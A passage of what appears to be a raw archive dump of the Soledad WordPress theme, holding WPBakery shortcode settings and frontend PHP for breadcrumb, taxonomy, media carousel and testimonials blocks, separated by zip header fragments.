			'heading'          => esc_html__( 'BreadCrumb Spacing', 'soledad' ),
			'param_name'       => 'breadcrumb-spacing',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'       => 'penci_switch',
			'heading'    => __( 'Custom Font Family for Breadcrumb', 'soledad' ),
			'param_name' => 'use_custom_typo',
			'group'      => $group_color,
			'value'      => 'no',
		),
		array(
			'type'       => 'google_fonts',
			'param_name' => 'main_text_font',
			'value'      => '',
			'group'      => $group_color,
			'dependency' => array( 'element' => 'use_custom_typo', 'value' => 'yes' ),
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => 'main_text_size',
			'heading'    => __( 'Font Size', 'soledad' ),
			'suffix'     => 'px',
			'min'        => 1,
			'group'      => $group_color,
		),
	), Penci_Vc_Params_Helper::extra_params() )
) );
PK     N\Sx    <  inc/js_composer/shortcodes/pc_single_breadcrumb/frontend.phpnu [        <?php
$settings   = vc_map_get_attributes( $this->getShortcode(), $atts );
$block_id   = Penci_Vc_Helper::get_unique_id_block( 'pc_archive_taxonomy' );
$css_custom = '';
$css_class  = vc_shortcode_custom_css_class( $settings['css'] );
?>
    <div id="<?php echo $block_id; ?>" class="pcsb-brcrb <?php echo $css_class; ?>">
		<?php
		$yoast_breadcrumb = '';
		if ( function_exists( 'yoast_breadcrumb' ) ) {
			$yoast_breadcrumb = yoast_breadcrumb( '<div class="container penci-breadcrumb single-breadcrumb">', '</div>', false );
		}

		if ( $yoast_breadcrumb ) {
			echo $yoast_breadcrumb;
		} else {
			$yoast_breadcrumb = '';
			if ( function_exists( 'yoast_breadcrumb' ) ) {
				$yoast_breadcrumb = yoast_breadcrumb( '<div class="container penci-breadcrumb single-breadcrumb">', '</div>', false );
			}

			if ( $yoast_breadcrumb ) {
				echo $yoast_breadcrumb;
			} else { ?>
                <div class="container penci-breadcrumb single-breadcrumb">
                    <span><a class="crumb"
                             href="<?php echo esc_url( home_url( '/' ) ); ?>"><?php echo penci_get_setting( 'penci_trans_home' ); ?></a></span><?php penci_fawesome_icon( 'fas fa-angle-right' ); ?>
					<?php
					if ( get_theme_mod( 'enable_pri_cat_yoast_seo' ) ) {
						$primary_term = penci_get_wpseo_primary_term();

						if ( $primary_term ) {
							echo $primary_term;
						} else {
							$penci_cats = get_the_category( get_the_ID() );
							$penci_cat  = array_shift( $penci_cats );
							echo penci_get_category_parents( $penci_cat );
						}
					} else {
						$penci_cats = get_the_category( get_the_ID() );
						$penci_cat  = array_shift( $penci_cats );
						echo penci_get_category_parents( $penci_cat );
					}
					?>
                    <span><?php the_title(); ?></span>
                </div>
			<?php } ?>
		<?php } ?>
    </div>
<?php
$block_id = '#' . $block_id;
if ( $settings['breadcrumb_align'] ) {
	$css_custom .= $block_id . ' .penci-breadcrumb{text-align:' . $settings['breadcrumb_align'] . ';}';
}
if ( $settings['breadcrumb-l-hcolor'] ) {
	$css_custom .= $block_id . ' .penci-breadcrumb a:hover{color:' . $settings['breadcrumb-t-color'] . ';}';
}
if ( $settings['breadcrumb-spacing'] ) {
	$css_custom .= penci_extract_responsive_fsize( $block_id . ' .container.penci-breadcrumb i', 'margin-left', $settings['breadcrumb-spacing'] );
	$css_custom .= penci_extract_responsive_fsize( $block_id . ' .container.penci-breadcrumb i', 'margin-right', $settings['breadcrumb-spacing'] - 4 );
}
if ( $settings['responsive_spacing'] ) {
	$css_custom .= penci_extract_spacing_style( $block_id, $settings['responsive_spacing'] );
}
$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
	'font_size'  => $settings['main_text_size'],
	'font_style' => $settings['main_text_font'],
	'template'   => $block_id . '  .container.penci-breadcrumb{ %s }',
) );
if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}
PK     N\X  X  :  inc/js_composer/shortcodes/pc_single_taxonomy/settings.phpnu [        <?php
$group_icon  = 'Icon';
$group_color = 'Typo & Color';

function penci_get_post_taxonomies() {
	$post_taxonomies    = get_object_taxonomies( 'post' );
	$post_tax           = [];
	$post_tax['Select'] = '';
	foreach ( $post_taxonomies as $tname ) {
		$labels                     = get_taxonomy( $tname );
		$post_tax[ $labels->label ] = $tname;
	}

	return $post_tax;
}

vc_map( array(
	'base'          => "pc_single_taxonomy",
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name( 'Post Builder' ),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/pc_single_taxonomy/frontend.php',
	'weight'        => 910,
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Post Builder - Taxonomy', 'soledad' ),
	'description'   => 'Post Builder - Taxonomy',
	'controls'      => 'full',
	'params'        => array_merge( array(
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Taxonomies', 'soledad' ),
			'param_name'       => 'term_name',
			'value'            => penci_get_post_taxonomies(),
			'std'              => 'category',
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Display Style', 'soledad' ),
			'param_name'       => 'term_style',
			'value'            => array(
				'Style 1' => 's1',
				'Style 2' => 's2',
				'Style 3' => 's3',
				'Style 4' => 's4',
			),
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Label Style', 'soledad' ),
			'param_name'       => 'label_style',
			'value'            => array(
				'Default' => 'default',
				'Style 1' => 's1',
				'Style 2' => 's2',
				'Style 3' => 's3',
				'Style 4' => 's4',
			),
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Text Align', 'soledad' ),
			'param_name'       => 'tax_align',
			'value'            => array(
				'Left'   => 'left',
				'Right'  => 'right',
				'Center' => 'center',
			),
			'edit_field_class' => 'vc_col-sm-6'
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Show Taxonomy as Text', 'soledad' ),
			'param_name'       => 'term_link',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_switch',
			'heading'          => esc_html__( 'Show Label Text', 'soledad' ),
			'param_name'       => 'term_text',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'textfield',
			'heading'          => esc_html__( 'Label Text', 'soledad' ),
			'param_name'       => 'label_text',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
	), array(
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Term Color', 'soledad' ),
			'param_name'       => 'term_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Term Hover Color', 'soledad' ),
			'param_name'       => 'term_hcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Term Background Color', 'soledad' ),
			'param_name'       => 'term_bgcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Term Background Hover Color', 'soledad' ),
			'param_name'       => 'term_bghcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Term Border Color', 'soledad' ),
			'param_name'       => 'term_bcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Term Border Hover Color', 'soledad' ),
			'param_name'       => 'term_bhcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Term Item Borders Radius', 'soledad' ),
			'param_name'       => 'term_border_radius',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
	), Penci_Vc_Params_Helper::extra_params() )
) );
PK     N\[B  B  :  inc/js_composer/shortcodes/pc_single_taxonomy/frontend.phpnu [        <?php
$settings    = vc_map_get_attributes( $this->getShortcode(), $atts );
$block_id    = Penci_Vc_Helper::get_unique_id_block( 'pc_single_taxonomy' );
$css_custom  = '';
$term_name   = $settings['term_name'];
$term_text   = $settings['term_text'];
$label_text  = $settings['label_text'];
$term_link   = $settings['term_link'];
$terms       = wp_get_post_terms( get_the_ID(), $term_name );
$term_style  = $settings['term_style'];
$label_style = $settings['label_style'];
$css_class   = vc_shortcode_custom_css_class( $settings['css'] );
if ( $terms ) {
	?>
    <div id="<?php echo $block_id; ?>"
         class="pctmp-term-list term-style-<?php echo esc_attr( $term_style . ' ' . $css_class ); ?> label-style-<?php echo esc_attr( $label_style ); ?>">
		<?php if ( $term_text && $label_text ) : ?>
            <span class="term-labels">
                <?php echo $label_text; ?>
            </span>
		<?php endif;
		$terms       = wp_get_post_terms( get_the_ID(), $term_name );
		$i           = 0;
		$total_items = count( $terms );
		foreach ( $terms as $term ) {
			if ( $term_link ) {
				echo '<span class="pctmp-term-item">' . $term->name . '</span>';
			} else {
				echo '<a href="' . get_term_link( $term ) . '" class="pctmp-term-item">' . $term->name . '</a>';
			}
		}

		?>
    </div>
	<?php
}
$css = [
	'tax_align'          => [ '{{WRAPPER}} .pctmp-term-list' => 'text-align:{{VALUE}}' ],
	'term_color'         => [ '{{WRAPPER}} .pctmp-term-item' => 'color:{{VALUE}}' ],
	'term_hcolor'        => [ '{{WRAPPER}} a.pctmp-term-item:hover' => 'color:{{VALUE}}' ],
	'term_bgcolor'       => [ '{{WRAPPER}} .pctmp-term-item' => 'background-color:{{VALUE}}' ],
	'term_bghcolor'      => [ '{{WRAPPER}} a.pctmp-term-item:hover' => 'background-color:{{VALUE}}' ],
	'term_bcolor'        => [ '{{WRAPPER}} .pctmp-term-item' => 'border-color:{{VALUE}}' ],
	'term_bhcolor'       => [ '{{WRAPPER}} a.pctmp-term-item:hover' => 'border-color:{{VALUE}}' ],
	'term_border_radius' => [ '{{WRAPPER}} .pctmp-term-item' => 'border-radius: {{VALUE}}px;' ],
];
penci_wpbakery_el_extract_css( $css, $settings, '#' . $block_id );
PK     N\    6  inc/js_composer/shortcodes/media_carousel/settings.phpnu [        <?php

$group = 'Addtional Options';
vc_map( array(
	'base'          => 'penci_media_carousel',
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name( 'Soledad' ),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/media_carousel/frontend.php',
	'weight'        => 700,
	'as_parent'     => array( 'except' => 'penci_media_carousel' ),
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Advanced Carousel', 'soledad' ),
	'description'   => __( 'Media Advanced Block', 'soledad' ),
	'controls'      => 'full',
	'params'        => array(
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Gap', 'penci-framework' ),
			'param_name'       => 'slides_item_gap',
			'class'            => '',
			'value'            => 10,
			'min'              => 1,
			'max'              => 100,
			'step'             => 1,
			'edit_field_class' => 'vc_col-sm-3',
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Items display on Desktop', 'penci-framework' ),
			'param_name'       => 'limit_desk',
			'class'            => '',
			'value'            => 3,
			'min'              => 1,
			'max'              => 25,
			'step'             => 1,
			'edit_field_class' => 'vc_col-sm-3',
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Items display on Tablet', 'penci-framework' ),
			'param_name'       => 'limit_tab',
			'class'            => '',
			'value'            => 2,
			'min'              => 1,
			'max'              => 25,
			'step'             => 1,
			'edit_field_class' => 'vc_col-sm-3',
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Items display on Mobile', 'penci-framework' ),
			'param_name'       => 'limit_mobile',
			'class'            => '',
			'value'            => 1,
			'min'              => 1,
			'max'              => 25,
			'step'             => 1,
			'edit_field_class' => 'vc_col-sm-3',
		),
		// Slider
		array(
			'type'       => 'penci_switch',
			'heading'    => esc_html__( 'Autoplay', 'soledad' ),
			'param_name' => 'autoplay',
			'value'      => array( esc_html__( 'Yes', 'soledad' ) => 'yes' ),
			'std'        => 'no',
			'group'      => $group,
		),
		array(
			'type'       => 'penci_switch',
			'heading'    => esc_html__( 'Slider Loop', 'soledad' ),
			'param_name' => 'loop',
			'value'      => array( esc_html__( 'Yes', 'soledad' ) => 'yes' ),
			'std'        => 'no',
			'group'      => $group,
		),
		array(
			'type'       => 'textfield',
			'param_name' => 'auto_time',
			'heading'    => esc_html__( 'Slider Auto Time (at x seconds)', 'soledad' ),
			'value'      => 4000,
			'group'      => $group,
		),
		array(
			'type'       => 'textfield',
			'param_name' => 'speed',
			'heading'    => esc_html__( 'Slider Speed (at x seconds)', 'soledad' ),
			'value'      => 800,
			'group'      => $group,
		),
		array(
			'type'       => 'penci_switch',
			'heading'    => esc_html__( 'Show next/prev buttons', 'soledad' ),
			'param_name' => 'shownav',
			'value'      => array( esc_html__( 'Yes', 'soledad' ) => 'yes' ),
			'std'        => 'no',
			'group'      => $group,
		),
		array(
			'type'       => 'penci_switch',
			'heading'    => esc_html__( 'Show dots navigation', 'soledad' ),
			'param_name' => 'showdots',
			'value'      => 'no',
			'group'      => $group,
		)
	),
	'js_view'       => 'VcColumnView'
) );
PK     N\x:.  .  6  inc/js_composer/shortcodes/media_carousel/frontend.phpnu [        <?php
$output = $el_class = $css_animation = $css = '';
$atts   = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

$class_to_filter = vc_shortcode_custom_css_class( $css, ' ' ) . $this->getExtraClass( $el_class ) . $this->getCSSAnimation( $css_animation );

$css_class = 'penci-block-vc penci-media-carousels';
$css_class .= ' ' . apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, $class_to_filter, $this->settings['base'], $atts );
$block_id  = Penci_Vc_Helper::get_unique_id_block( 'media-carousels' );


$data_slider = 'yes' == $atts['showdots'] ? ' data-dots="true"' : '';
$data_slider .= ! 'yes' == $atts['shownav'] ? ' data-nav="true"' : '';
$data_slider .= ! 'yes' == $atts['loop'] ? ' data-loop="true"' : '';
$data_slider .= ' data-auto="' . ( 'yes' == $atts['autoplay'] ? 'true' : 'false' ) . '"';
$data_slider .= $atts['auto_time'] ? ' data-autotime="' . $atts['auto_time'] . '"' : '';
$data_slider .= $atts['speed'] ? ' data-speed="' . $atts['speed'] . '"' : '';

$data_slider .= ' data-margin="' . ( isset( $atts['slides_item_gap'] ) && $atts['slides_item_gap'] ? $atts['slides_item_gap'] : '10' ) . '"';
$data_slider .= ' data-item="' . ( isset( $atts['limit_desk'] ) && $atts['limit_desk'] ? $atts['limit_desk'] : '3' ) . '"';
$data_slider .= ' data-desktop="' . ( isset( $atts['limit_desk'] ) && $atts['limit_desk'] ? $atts['limit_desk'] : '3' ) . '" ';
$data_slider .= ' data-tablet="' . ( isset( $atts['limit_tab'] ) && $atts['limit_tab'] ? $atts['limit_tab'] : '2' ) . '"';
$data_slider .= ' data-tabsmall="' . ( isset( $atts['limit_tab'] ) && $atts['limit_tab'] ? $atts['limit_tab'] : '2' ) . '"';
$data_slider .= ' data-mobile="' . ( isset( $atts['limit_mobile'] ) && $atts['limit_mobile'] ? $atts['limit_mobile'] : '1' ) . '"';
?>
<div id="<?php echo esc_attr( $block_id ); ?>" class="<?php echo esc_attr( $css_class ); ?>">
	<div class="penci-block_content swiper penci-owl-carousel penci-owl-carousel-slider swiper" <?php echo( $data_slider ); ?>>
		<div class="swiper-wrapper">
		<?php echo do_shortcode( $content ); ?>
		</div>
	</div>
</div>
PK     N\8  8  4  inc/js_composer/shortcodes/testimonails/settings.phpnu [        <?php
$group_color = 'Typo & Color';

vc_map( array(
	'base'          => 'penci_testimonails',
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name( 'Soledad' ),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/testimonails/frontend.php',
	'weight'        => 700,
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Testimonails', 'soledad' ),
	'description'   => __( 'Testimonails Block', 'soledad' ),
	'controls'      => 'full',
	'params'        => array_merge( array(
		// Design option
		array(
			'type'             => 'textfield',
			'param_name'       => 'design_heading_settings',
			'heading'          => esc_html__( 'General Options', 'soledad' ),
			'value'            => '',
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'       => 'dropdown',
			'heading'    => esc_html__( 'Tyle', 'soledad' ),
			'param_name' => 'testitype',
			'std'        => 'crs',
			'value'      => array(
				esc_html__( 'Slider', 'soledad' ) => 'crs',
				esc_html__( 'Grid', 'soledad' )   => 'grid',
			),
		),
		array(
			'type'       => 'dropdown',
			'heading'    => esc_html__( 'Design style', 'soledad' ),
			'param_name' => 'style',
			'std'        => 's1',
			'value'      => array(
				esc_html__( 'Style 1', 'soledad' ) => 's1',
				esc_html__( 'Style 2', 'soledad' ) => 's2',
				esc_html__( 'Style 3', 'soledad' ) => 's3',
				esc_html__( 'Style 4', 'soledad' ) => 's4',
				esc_html__( 'Style 5', 'soledad' ) => 's5',
			),
		),
		array(
			'type'       => 'dropdown',
			'heading'    => esc_html__( 'Image Position', 'soledad' ),
			'param_name' => 'imagepos',
			'std'        => 'top',
			'value'      => array(
				esc_html__( 'Top', 'soledad' )   => 'top',
				esc_html__( 'Left', 'soledad' )  => 'left',
				esc_html__( 'Right', 'soledad' ) => 'right',
			),
			'dependency' => array( 'element' => 'style', 'value' => array( 's4' ) ),
		),
		array(
			'type'       => 'dropdown',
			'heading'    => __( 'Columns', 'soledad' ),
			'param_name' => 'columns',
			'value'      => array(
				1 => 1,
				2 => 2,
				3 => 3,
				4 => 4,
				5 => 5,
				6 => 6,
			),
			'std'        => 2
		),
		array(
			'type'       => 'dropdown',
			'heading'    => __( 'Tablet Columns', 'soledad' ),
			'param_name' => 'tcolumns',
			'value'      => array(
				1 => 1,
				2 => 2,
				3 => 3,
				4 => 4,
				5 => 5,
				6 => 6,
			),
			'std'        => 2
		),
		array(
			'type'       => 'penci_only_number',
			'heading'    => __( 'Columns Gap', 'soledad' ),
			'param_name' => 'column_gap',
			'value'      => 30
		),
		array(
			'type'       => 'penci_only_number',
			'heading'    => __( 'Row Gap', 'soledad' ),
			'param_name' => 'row_gap',
			'value'      => 30
		),
		array(
			'type'       => 'dropdown',
			'heading'    => __( 'Mobile Columns', 'soledad' ),
			'param_name' => 'mcolumns',
			'value'      => array(
				1 => 1,
				2 => 2,
				3 => 3,
				4 => 4,
				5 => 5,
				6 => 6,
			),
			'std'        => 2
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'p_name_marbottom',
			'heading'          => __( 'Name Margin Top', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'p_company_marbottom',
			'heading'          => __( 'Company/Position Margin Top', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'p_rating_marbottom',
			'heading'          => __( 'Rating Margin Top', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'p_desc_marbottom',
			'heading'          => __( 'Description Margin Top', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'p_desc_padding',
			'heading'          => __( 'Description Padding', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'edit_field_class' => 'vc_col-sm-6',
		),
		// Slider option
		array(
			'type'             => 'textfield',
			'param_name'       => 'heading_slider_settings',
			'heading'          => esc_html__( 'Slider options', 'soledad' ),
			'value'            => '',
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'       => 'dropdown',
			'heading'    => __( 'Slides Per View', 'soledad' ),
			'param_name' => 'slider_item',
			'value'      => array(
				1 => 1,
				2 => 2,
				3 => 3,
			),
			'std'        => 1
		),

		array(
			'type'        => 'penci_switch',
			'heading'     => esc_html__( 'Autoplay', 'soledad' ),
			'param_name'  => 'autoplay',
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
		),
		array(
			'type'        => 'penci_switch',
			'heading'     => esc_html__( 'Slider Loop', 'soledad' ),
			'param_name'  => 'loop',
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
		),
		array(
			'type'       => 'textfield',
			'param_name' => 'auto_time',
			'heading'    => esc_html__( 'Slider Auto Time (at x seconds)', 'soledad' ),
			'value'      => 4000,
		),
		array(
			'type'       => 'textfield',
			'param_name' => 'speed',
			'heading'    => esc_html__( 'Slider Speed (at x seconds)', 'soledad' ),
			'value'      => 800,
		),
		array(
			'type'        => 'penci_switch',
			'heading'     => esc_html__( 'Show next/prev buttons', 'soledad' ),
			'param_name'  => 'shownav',
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
		),
		array(
			'type'        => 'penci_switch',
			'heading'     => esc_html__( 'Show dots navigation', 'soledad' ),
			'param_name'  => 'showdots',
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
		),
		array(
			'type'       => 'param_group',
			'heading'    => '',
			'param_name' => 'testimonails',
			'group'      => 'Testimonials',
			'value'      => urlencode( json_encode( array(
				array(
					'testi_name'    => 'Testimonails 1',
					'testi_desc'    => 'I am text block. Click edit button to change this text.',
					'testi_company' => 'Company/Position',
					'testi_link'    => '#'
				),
				array(
					'testi_name'    => 'Testimonails 2',
					'testi_desc'    => 'I am text block. Click edit button to change this text.',
					'testi_company' => 'Company/Position',
					'testi_link'    => '#'
				),
				array(
					'testi_name'    => 'Testimonails 3',
					'testi_desc'    => 'I am text block. Click edit button to change this text.',
					'testi_company' => 'Company/Position',
					'testi_link'    => '#'
				)
			) ) ),
			'params'     => array(
				array(
					'type'        => 'textfield',
					'heading'     => __( 'Name', 'soledad' ),
					'param_name'  => 'testi_name',
					'admin_label' => true,
					'description' => __( 'Insert the name of the person.', 'soledad' ),
				),
				array(
					'type'        => 'attach_image',
					'heading'     => __( 'Custom Avatar', 'soledad' ),
					'param_name'  => 'testi_image',
					'value'       => '',
					'description' => __( 'Upload a custom avatar image. Recommended 70×70 pixels', 'soledad' ),
				),
				array(
					'type'        => 'textfield',
					'heading'     => __( 'Company/Position', 'soledad' ),
					'param_name'  => 'testi_company',
					'description' => __( 'Insert the name of the company.', 'soledad' ),
				),
				array(
					'type'        => 'textarea',
					'heading'     => __( 'Description', 'soledad' ),
					'param_name'  => 'testi_desc',
					'description' => __( 'Add the testimonial description..', 'soledad' ),
				),
				array(
					'type'       => 'dropdown',
					'heading'    => __( 'Rating', 'soledad' ),
					'param_name' => 'testi_rating',
					'value'      => array(
						1 => 1,
						2 => 2,
						3 => 3,
						4 => 4,
						5 => 5
					),
					'std'        => 5,
					'dependency' => array( 'element' => 'style', 'value' => array( 's3' ) ),
				),
				array(
					'type'        => 'textfield',
					'heading'     => __( 'Link', 'soledad' ),
					'param_name'  => 'testi_link',
					'description' => __( 'Add the url the company name will link to', 'soledad' ),
				)
			),
		),
	), array(
		// Icon typo
		array(
			'type'             => 'textfield',
			'param_name'       => 'heading_icon_settings',
			'heading'          => esc_html__( 'Icon Colors', 'soledad' ),
			'value'            => '',
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'       => 'colorpicker',
			'heading'    => esc_html__( 'Icon Block Quote Color', 'soledad' ),
			'param_name' => 'icon_quote_color',
			'group'      => $group_color,
		),
		array(
			'type'       => 'colorpicker',
			'heading'    => esc_html__( 'Icon Block Quote Background Color', 'soledad' ),
			'param_name' => 'icon_quote_bgcolor',
			'group'      => $group_color,
		),
		// Name color
		array(
			'type'             => 'textfield',
			'param_name'       => 'heading_name_settings',
			'heading'          => esc_html__( 'Name Colors', 'soledad' ),
			'value'            => '',
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'       => 'colorpicker',
			'heading'    => esc_html__( 'Name Color', 'soledad' ),
			'param_name' => 'name_color',
			'group'      => $group_color,
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => 'name_size',
			'heading'    => __( 'Font Size for Position', 'soledad' ),
			'value'      => '',
			'std'        => '',
			'suffix'     => 'px',
			'min'        => 1,
			'group'      => $group_color,
		),
		array(
			'type'        => 'penci_switch',
			'heading'     => __( 'Custom Font Family for Name', 'soledad' ),
			'param_name'  => 'use_name_typo',
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
			'group'       => $group_color,
		),
		array(
			'type'       => 'google_fonts',
			'param_name' => 'name_typo',
			'value'      => '',
			'group'      => $group_color,
			'dependency' => array( 'element' => 'use_name_typo', 'value' => 'yes' ),
		),
		// Company/Position Colors
		array(
			'type'             => 'textfield',
			'param_name'       => 'heading_pos_settings',
			'heading'          => esc_html__( 'Company/Position Color', 'soledad' ),
			'value'            => '',
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'       => 'colorpicker',
			'heading'    => esc_html__( 'Company/Position Color', 'soledad' ),
			'param_name' => 'company_color',
			'group'      => $group_color,
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => 'company_size',
			'heading'    => __( 'Font Size for Company/Position', 'soledad' ),
			'value'      => '',
			'std'        => '',
			'suffix'     => 'px',
			'min'        => 1,
			'group'      => $group_color,
		),
		array(
			'type'       => 'penci_switch',
			'heading'    => __( 'Custom Font Family for Company/Position', 'soledad' ),
			'param_name' => 'use_company_typo',
			'default'          => 'no',
			'group'      => $group_color,
		),
		array(
			'type'       => 'google_fonts',
			'param_name' => 'company_typo',
			'value'      => '',
			'group'      => $group_color,
			'dependency' => array( 'element' => 'use_company_typo', 'value' => 'yes' ),
		),
		// Description Colors
		array(
			'type'             => 'textfield',
			'param_name'       => 'heading_desc_settings',
			'heading'          => esc_html__( 'Description Colors', 'soledad' ),
			'value'            => '',
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'       => 'colorpicker',
			'heading'    => esc_html__( 'Description Color', 'soledad' ),
			'param_name' => 'desc_color',
			'group'      => $group_color,
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => 'desc_size',
			'heading'    => __( 'Font Size for Description', 'soledad' ),
			'value'      => '',
			'std'        => '',
			'suffix'     => 'px',
			'min'        => 1,
			'group'      => $group_color,
		),
		array(
			'type'       => 'penci_switch',
			'heading'    => __( 'Custom Font Family for Description', 'soledad' ),
			'param_name' => 'use_desc_typo',
			'default'          => 'no',
			'std'              => 'no',
			'group'      => $group_color,
		),
		array(
			'type'       => 'google_fonts',
			'param_name' => 'desc_typo',
			'value'      => '',
			'group'      => $group_color,
			'dependency' => array( 'element' => 'use_desc_typo', 'value' => 'yes' ),
		),
		// Ratting Colors
		array(
			'type'             => 'textfield',
			'param_name'       => 'heading_rating_settings',
			'heading'          => esc_html__( 'Description Colors', 'soledad' ),
			'value'            => '',
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'       => 'colorpicker',
			'heading'    => esc_html__( 'Rating Color', 'soledad' ),
			'param_name' => 'rating_color',
			'group'      => $group_color,
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => 'rating_size',
			'heading'    => __( 'Font Size for Rating', 'soledad' ),
			'value'      => '',
			'std'        => '',
			'suffix'     => 'px',
			'min'        => 1,
			'group'      => $group_color,
		),

	), Penci_Vc_Params_Helper::extra_params() )
) );
PK     N\-      4  inc/js_composer/shortcodes/testimonails/frontend.phpnu [        <?php
$output = $penci_block_width = $el_class = $css_animation = $css = $responsive_spacing = '';

$atts = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

$testimonails = (array) vc_param_group_parse_atts( $atts['testimonails'] );

if ( ! $testimonails ) {
	return;
}
$class_to_filter = vc_shortcode_custom_css_class( $css, ' ' ) . $this->getExtraClass( $el_class ) . $this->getCSSAnimation( $css_animation );

$css_class = 'penci-block-vc penci-testimonails';
$css_class .= ' penci-testi-' . $atts['style'];
if ( 's4' == $atts['style'] && $atts['imagepos'] ) {
	$css_class .= ' pcimgpos-' . $atts['imagepos'];
}

$data_slider         = '';
$inner_wrapper_class = 'penci-block_content pcsl-inner penci-clearfix';
$inner_wrapper_class .= ' pcsl-' . $atts['testitype'];
if ( 'crs' == $atts['testitype'] ) {
	$inner_wrapper_class .= ' penci-owl-carousel penci-owl-carousel-slider swiper';
}

$inner_wrapper_class .= ' pcsl-col-' . $atts['columns'];
$inner_wrapper_class .= ' pcsl-tabcol-' . $atts['tcolumns'];
